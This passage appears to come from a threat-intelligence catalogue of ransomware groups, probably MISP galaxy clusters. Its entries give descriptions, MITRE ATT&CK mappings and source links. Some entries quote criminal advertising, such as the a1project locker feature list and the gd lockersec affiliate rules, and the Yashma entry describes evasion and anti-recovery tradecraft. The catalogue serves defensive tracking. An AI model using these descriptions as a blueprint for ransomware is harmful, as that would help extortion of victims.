- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Shared Modules - T1129" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Permissions Modification - T1222" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="System Location Discovery - T1614" with estimative-language:likelihood-probability="very-likely"
- derived-from: misp-galaxy:ransomware="Makop" with estimative-language:likelihood-probability="likely"

HSHARADA

The ransomware was identified in early April 2023 and is said to target English-speaking users and potentially other languages. The extension added to encrypted files is: ".m9SRob" (potentially random). The ransom note is named "m9SRob-README.txt". There are no further details about the mentioned group or potentially files. The fact is that it adds an ID for each victim.

The tag is: *misp-galaxy:ransomware="HSHARADA"*

Hunt

Hunt ransomware is a variant of the Dharma/CrySIS ransomware family. This variant creates a unique ID for each victim, appends the extension '.hunt' to encrypted files, and leaves a ransom note known as info-hunt.txt.

The Dharma/CrySIS ransomware family emerged around mid-2016 as a Ransomware-as-a-Service (RaaS) program, utilizing various initial intrusion methods such as phishing, disguising as legitimate software, and exploiting open RDP connections.

This variant uses AES-256 encryption (CBC mode) or DES+RSA and demands payment to recover files. Upon execution, the ransomware generates a 256-bit AES decryption key, which is then encrypted along with random bytes using the RSA-1024 algorithm and stored at the end of the encrypted file.

The ransomware is written in C/C++ and compiled using MS Visual Studio. Regarding geographic attribution, it has been identified in use by threat actors from Russia, Ukraine, India, and other countries.

The tag is: *misp-galaxy:ransomware="Hunt"*

Hunt is also known as:

- Hunt-Dharma-Crysis

View relationships graph

Hunt has relationships with:

- variant-of: misp-galaxy:ransomware="Dharma Ransomware" with estimative-language:likelihood-probability="very-likely"
- variant-of: misp-galaxy:ransomware="Virus-Encoder" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Shared Modules - T1129" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="very-likely"

- uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Boot or Logon Autostart Execution - T1547" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="very-likely"

a1project

The locker is written in C/C++/ASM.
It supports all systems starting from Windows 2003, has a separate binary for ESXi, and uses a unified encrypted file format across all systems.
WINDOWS:
 • Two encryption modes: patch-based and file header.
 • Extensive configuration settings: from ignoring specific paths/extensions to terminating services/processes, unlocking occupied files, working with network shares, and more.
 • Arguments available for shutting down Hyper-V virtual machines, deleting backups, network scanning with logged-in user tokens.
 • Each build includes an obfuscated PowerShell script.
 • Execution is password-protected.
 • The locker itself is shellcode for x86/x64; if you have custom execution methods, we can provide the shellcode.
ESXI:
 • Encrypts files in patches, with configurable path exclusions.
The default configuration is pre-set to avoid disrupting Windows/ESXi/Linux systems.

Our commission is 20% of payouts

The tag is: *misp-galaxy:ransomware="a1project"*

Table 13878. Table References

Links
https://www.ransomlook.io/group/a1project

babuk-bjorka

On January 26th, Babuk’s dedicated leak site (DLS) was "relaunched". Bjorka (Telegram: @bjorkanesiaaaa) is the current administrator. Upon launch, the DLS was populated mainly by victims previously claimed by other groups such as RansomHub, Lockbit3, and Funksec. At this current time there is no apparent connection to the original Babuk operation besides reusing the Babuk site template and logos. The groups is also known as Babuk2 by other trackers.

It is important to note that the original Babuk DLS was hosted and available up until February 26th, 2024.

The tag is: *misp-galaxy:ransomware="babuk-bjorka"*

Table 13879. Table References

Links
https://www.ransomlook.io/group/babuk-bjorka

darkrypt

The tag is: *misp-galaxy:ransomware="darkrypt"*

Table 13880. Table References

Links
https://www.ransomlook.io/group/darkrypt

gd lockersec

Our team members are from different countries and we are not interested in anything else, we are only interested in dollars.

We do not allow CIS, Cuba, North Korea and China to be targeted.

Re-attacks are not allowed for target companies that have already made payments.

We do not allow non-profit hospitals and some non-profit organizations be targeted.

The tag is: *misp-galaxy:ransomware="gd lockersec"*

Table 13881. Table References

Links
https://www.ransomlook.io/group/gd lockersec[https://www.ransomlook.io/group/gd lockersec]

sugar

The tag is: *misp-galaxy:ransomware="sugar"*

Table 13882. Table References

Links
https://www.ransomlook.io/group/sugar

d0glun

D0glun is a crypto-ransomware strain first observed in January 2025, believed to be derived from Babuk via an intermediary variant known as Cheng Xilun. It uses AES-256 symmetric encryption and appends filenames with patterns such as .@D0glun@<original extension> or similar. The malware encrypts files rapidly, changes the desktop wallpaper, and drops ransom notes typically named @, Desktopcxl.txt, or help.exe. The campaign has shown signs of shared infrastructure and code reuse from Cheng Xilun, but there is no confirmed evidence of a large-scale or mature operation. Its activity so far suggests it is being tested or deployed by a small group or

individual rather than a structured affiliate network.

The tag is: *misp-galaxy:ransomware="d0glun"*

Table 13883. Table References

Links
https://www.ransomlook.io/group/d0glun
https://www.watchguard.com/wgrd-security-hub/ransomware-tracker/d0glun
https://www.pcrisk.com/removal-guides/31986-d0glun-ransomware
https://bazaar.abuse.ch/browse/signature/D0glun/
https://cs.beta.fletch.ai/p/d0glun

ymir

The tag is: *misp-galaxy:ransomware="ymir"*

Table 13884. Table References

Links
https://www.ransomlook.io/group/ymir

bjorka

```
Hellcome Bjorkanism
```

The tag is: *misp-galaxy:ransomware="bjorka"*

Table 13885. Table References

Links
https://www.ransomlook.io/group/bjorka
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/babuk2-bjorka-the-evolution-of-ransomware-for-data-commoditization/
https://www.socradar.io/dark-web-profile-babuk-babuk2/
https://www.rapid7.com/blog/post/2025/04/02/a-rebirth-of-a-cursed-existence-the-babuk-locker-2-0/
https://www.intellinews.com/hacker-targets-indonesian-banks-with-ransomware-threats-366102/

KageNoHitobito

The tag is: *misp-galaxy:ransomware="KageNoHitobito"*

View relationships graph

KageNoHitobito has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Shared Modules - T1129" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Boot or Logon Autostart Execution - T1547" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="very-likely"

malphas

The tag is: *misp-galaxy:ransomware="malphas"*

Table 13886. Table References

Links
https://www.ransomlook.io/group/malphas

kraken

Kraken leak blog (hellokitty)

The tag is: *misp-galaxy:ransomware="kraken"*

Table 13887. Table References

Links
https://www.ransomlook.io/group/kraken
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/kraken-cryptor-ransomware-as-a-service/
https://www.bleepingcomputer.com/news/security/kraken-ransomware-distributed-via-malware-infected-installers/
https://research.checkpoint.com/kraken-cryptor-distributed-infected-installer/

MAGASKOSH

The tag is: *misp-galaxy:ransomware="MAGASKOSH"*

View relationships graph

MAGASKOSH has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-

language:likelihood-probability="very-likely"

- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="very-likely"

Table 13888. Table References

Links
https://www.pcrisk.com/removal-guides/27691-magaskosh-ransomware

Chaos

The tag is: *misp-galaxy:ransomware="Chaos"*

View relationships graph

Chaos has relationships with:

- variant-of: misp-galaxy:ransomware="Rincrypt" with estimative-language:likelihood-probability="likely"

Table 13889. Table References

Links
https://www.ransomlook.io/group/chaos
https://www.broadcom.com/support/security-center/protection-bulletin/chaos-ransomware-group-surfaces-with-aggressive-tactics
https://cyble.com/blog/top-ransomware-groups-june-2025-qilin-top-spot-
https://www.infosecurity-magazine.com/news/chaos-ransomware-wave-attacks/
https://www.bleepingcomputer.com/news/security/chaos-ransomware-hits-optima-tax-relief-leaks-69gb-data/

Rincrypt

The tag is: *misp-galaxy:ransomware="Rincrypt"*

View relationships graph

Rincrypt has relationships with:

- variant-of: misp-galaxy:ransomware="Chaos" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with

estimative-language:likelihood-probability="very-likely"

- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Shared Modules - T1129" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="very-likely"

Shinra

SHINRA ransomware is a variant of the Proton ransomware family, known for its malicious activities involving data encryption and demanding a ransom for data decryption.

After encrypting files, the ransomware renames them with a sequence of random characters and appends the ".SHINRA3" extension to the filenames.

It is worth noting that this ransomware uses AES and ECC encryption algorithms to lock files on the victim’s computer. Following the encryption, it creates a ransom note named "SHINRA-Recovery.txt."

There are not many details about its operation or methods of infecting its victims, but after encryption, the victim needs to send an email regarding recovery to the addresses provided, including their ID as generated by the ransomware:

Qq.decrypt@gmail.com Qq.encrypt@gmail.com ethan@fastmsg.info

The ransomware also changes the victim's wallpaper, displaying the need to send the data and contact the threat actor.

The tag is: *misp-galaxy:ransomware="Shinra"*

View relationships graph

Shinra has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Embedded Payloads - T1027.009" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-

language:likelihood-probability="very-likely"

- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Shared Modules - T1129" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Permissions Modification - T1222" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Boot or Logon Autostart Execution - T1547" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="very-likely"

Yashma

Cisco Talos has identified a new, previously unknown threat actor of Vietnamese origin conducting a ransomware operation that began at least on June 4, 2023.

The ongoing attack utilizes a variant of the Yashma Ransomware, likely targeting multiple geographical areas and mimicking the characteristics of WannaCry.

The threat actor uses an unusual technique to deliver the ransom note, as instead of embedding the ransom note strings in the binary, the actor downloads the ransom note from a GitHub repository controlled by ,the actor by executing an embedded batch file.

Talos stated that this threat actor targets victims in English-speaking countries, Bulgaria, China, and Vietnam, as the GitHub account of the actor "nguyenvientphat" contains ransomware notes written in the languages of these countries. The presence of the ransom note may indicate that the actor intends to expand its geographical area of operation.

The company also stated that the threat actor may have Vietnamese origin because the GitHub account name and email contact in the ransom notes fake the name of a legitimate organization. The ransom note also asks victims to contact between 19:00 and 23:00 UTC +07:00, coinciding with the Vietnam time zone.

A difference was also identified in the Vietnamese language ransom note, as it begins with "Sorry, your file is encrypted!" compared to the other notes that state "Oops, your files are encrypted!". By saying "sorry," the threat actor may intend to show greater sensitivity to victims in Vietnam, indicating that the attackers themselves are Vietnamese.

Talos further mentioned that the threat actor started the campaign around June 4, 2023, as they joined GitHub and created a public repository called "Ransomware." In the repository, the threat actor added text files of ransom notes in five languages: English, Bulgarian, Vietnamese, simplified Chinese, and traditional Chinese.

The note presents the email address "nguyenvietphat[.]n@gmail[.]com," for victims to contact them. At the time of analysis, no Bitcoin was observed in the wallet, and the ransom note did not specify an amount, indicating that the ransomware operation could still be in its early stages.

The threat actor deployed a variant of the Yashma ransomware, which they compiled on June 4, 2023. It is worth noting that Yashma is a 32-bit executable written in .NET and a renamed version of the Chaos Ransomware V5, which appeared in May 2022. In the variant, most of Yashma's features remained unchanged and were described by BlackBerry security researchers, with some notable modifications.

The ransomware stores the ransom note text as strings in the binary, but this Yashma variant executes an embedded batch file, which contains the commands to download the ransom note from the actor-controlled GitHub repository. This modification avoids endpoint detection solutions and antivirus software, which typically detect embedded ransom note strings in the binary.

Previous versions of Yashma established persistence on the victim's machine in the Run registry key and by dropping a Windows shortcut file pointing to the executable path of the ransomware in the startup folder. The identified variant also established persistence in the Run registry key. However, it was modified to create a ".url" favorites file in the startup folder pointing to the executable located in "%AppData%\Roaming\svchost.exe."

Additionally, the threat actor chose to maintain Yashma's anti-recovery capability in this variant. After encrypting a file, the ransomware wipes the content of the original unencrypted files, writes a

single "?" character, and then deletes the file. This technique makes it more difficult for incident responders and forensic analysts to recover deleted files from the victim's hard drive.

The tag is: *misp-galaxy:ransomware="Yashma"*

View relationships graph

Yashma has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task/Job - T1053" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Shared Modules - T1129" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with

estimative-language:likelihood-probability="very-likely"

- uses: misp-galaxy:mitre-attack-pattern="File and Directory Permissions Modification - T1222" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="very-likely"

Table 13890. Table References

Links
https://blog.talosintelligence.com/new-threat-actor-using-yashma-ransomware/
https://www.ransomlook.io/group/yashma

kuiper

The tag is: *misp-galaxy:ransomware="kuiper"*

Table 13891. Table References

Links
https://www.ransomlook.io/group/kuiper
https://www.trendmicro.com/en_us/research/23/d/kuiper-ransomware-targets-multiple-platforms.html
https://asec.ahnlab.com/en/57154/

late.lol

Affiliates:
@Mr.C
@Empathy
@jayze
@Widow
@Memory

The tag is: *misp-galaxy:ransomware="late.lol"*

Table 13892. Table References

Links
https://www.ransomlook.io/group/late.lol

w3crypto

The tag is: *misp-galaxy:ransomware="w3crypto"*

Table 13893. Table References

Links
https://www.ransomlook.io/group/w3crypto

tooda

Members:
Eco
Ego
emo
elo
user
Dante
Sevy

The tag is: *misp-galaxy:ransomware="tooda"*

Table 13894. Table References

Links
https://www.ransomlook.io/group/tooda

robbing hood

The tag is: *misp-galaxy:ransomware="robbing hood"*

Table 13895. Table References

Links
https://www.ransomlook.io/group/robbing hood[https://www.ransomlook.io/group/robbing hood]

darkhav0c

The tag is: *misp-galaxy:ransomware="darkhav0c"*

Table 13896. Table References

Links
https://www.ransomlook.io/group/darkhav0c

run some wares

The tag is: *misp-galaxy:ransomware="run some wares"*

Table 13897. Table References

Links
https://www.ransomlook.io/group/run some wares[https://www.ransomlook.io/group/run some wares]

linkc

The tag is: *misp-galaxy:ransomware="linkc"*

Table 13898. Table References

Links
https://www.ransomlook.io/group/linkc

encrypthub

The tag is: *misp-galaxy:ransomware="encrypthub"*

Table 13899. Table References

Links
https://www.ransomlook.io/group/encrypthub

ghost

aka Cring / Ghost (Cring)

Beginning early 2021, Ghost actors began attacking victims whose internet facing services ran outdated versions of software and firmware. This indiscriminate targeting of networks containing vulnerabilities has led to the compromise of organizations across more than 70 countries, including organizations in China. Ghost actors, located in China, conduct these widespread attacks for financial gain. Affected victims include critical infrastructure, schools and universities, healthcare, government networks, religious institutions, technology and manufacturing companies, and numerous small- and medium-sized businesses.

Ghost actors rotate their ransomware executable payloads, switch file extensions for encrypted files, modify ransom note text, and use numerous ransom email addresses, which has led to variable attribution of this group over time. Names associated with this group include Ghost, Cring, Crypt3r, Phantom, Strike, Hello, Wickrme, HsHarada, and Rapture. Samples of ransomware files Ghost used during attacks are: Cring.exe, Ghost.exe, ElysiumO.exe, and Locker.exe.

 https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-050a

The tag is: *misp-galaxy:ransomware="ghost"*

Table 13900. Table References

Links
https://www.ransomlook.io/group/ghost

ox thief

The tag is: *misp-galaxy:ransomware="ox thief"*

Table 13901. Table References

Links
https://www.ransomlook.io/group/ox thief[https://www.ransomlook.io/group/ox thief]

mimic-guram

Mimic v.10 Ransomware-as-a-Service (RaaS). The malware is designed to target various operating systems (Windows, ESXi, NAS, FreeBSD) and features network-wide deployment, file obfuscation, backup destruction, UAC bypass, and multithreaded encryption. The service offers additional tools like NTLM password decryption and call-based extortion. They prohibit attacks on CIS countries and require active participation, with decryption tools available for a fee currently 800USD.

The tag is: *misp-galaxy:ransomware="mimic-guram"*

Table 13902. Table References

Links
https://www.ransomlook.io/group/mimic-guram

anubis

The tag is: *misp-galaxy:ransomware="anubis"*

Table 13903. Table References

Links
https://www.ransomlook.io/group/anubis
https://www.bleepingcomputer.com/news/security/anubis-banking-trojan-targets-android-users
https://www.sentinelone.com/blog/anubis-android-banking-trojan-analysis
https://www.trendmicro.com/en_us/research/19/j/anubis-malware-family-returns-with-new-variants.html
https://blog.cyble.com/2023/06/14/anubis-banking-trojan-targets-multiple-countries
https://www.cisa.gov/news-events/analysis-reports/ar22-187a

fusion

The tag is: *misp-galaxy:ransomware="fusion"*

Table 13904. Table References

Links

https://www.ransomlook.io/group/fusion

blackberserk

Black Berserk is a relatively unsophisticated ransomware strain analyzed in late 2023. It operates under a single-extortion model—encrypting files and demanding payment, with no documented abilities or threats for data exfiltration or public leaks. In observed cases, the malware appends the .Black extension to encrypted files (e.g., 1.jpg.Black) and leaves a ransom note titled Black_Recover.txt, which urges victims to make contact to negotiate payment or test decryption with benign files. The infection method appears opportunistic, delivered via isolated incidents or broad malware distribution—not linked to targeted campaigns or infrastructure. There is no evidence of it functioning as a RaaS operation or targeting any specific victim profiles or sectors.

The tag is: *misp-galaxy:ransomware="blackberserk"*

Table 13905. Table References

Links
https://www.ransomlook.io/group/blackberserk
https://www.pcrisk.com/removal-guides/27387-black-berserk-ransomware
https://www.enigmasoftware.com/blackberserkransomware-removal/

antibrok3rs

Antibrok3rs emerged as an access broker (not a ransomware operator itself) linked to the aftermath of the 2023 MOVEit supply-chain exploitation. From November 2024 through early 2025, this actor has posted stolen data from at least 15 energy-sector victims, including U.S. utilities such as CenterPoint Energy, Entergy, Nevada Energy, and Appalachian Power—data likely obtained via the MOVEit breach. While some analysts suspected ties to the Cl0P ransomware collective, Antibrok3rs publicly denied any such affiliation. The extortion model centers on data leakage without accompanying file encryption—a purely leak-based threat. No delivery, encryption, or ransom note behaviors have been observed, nor is there evidence of RaaS activity.

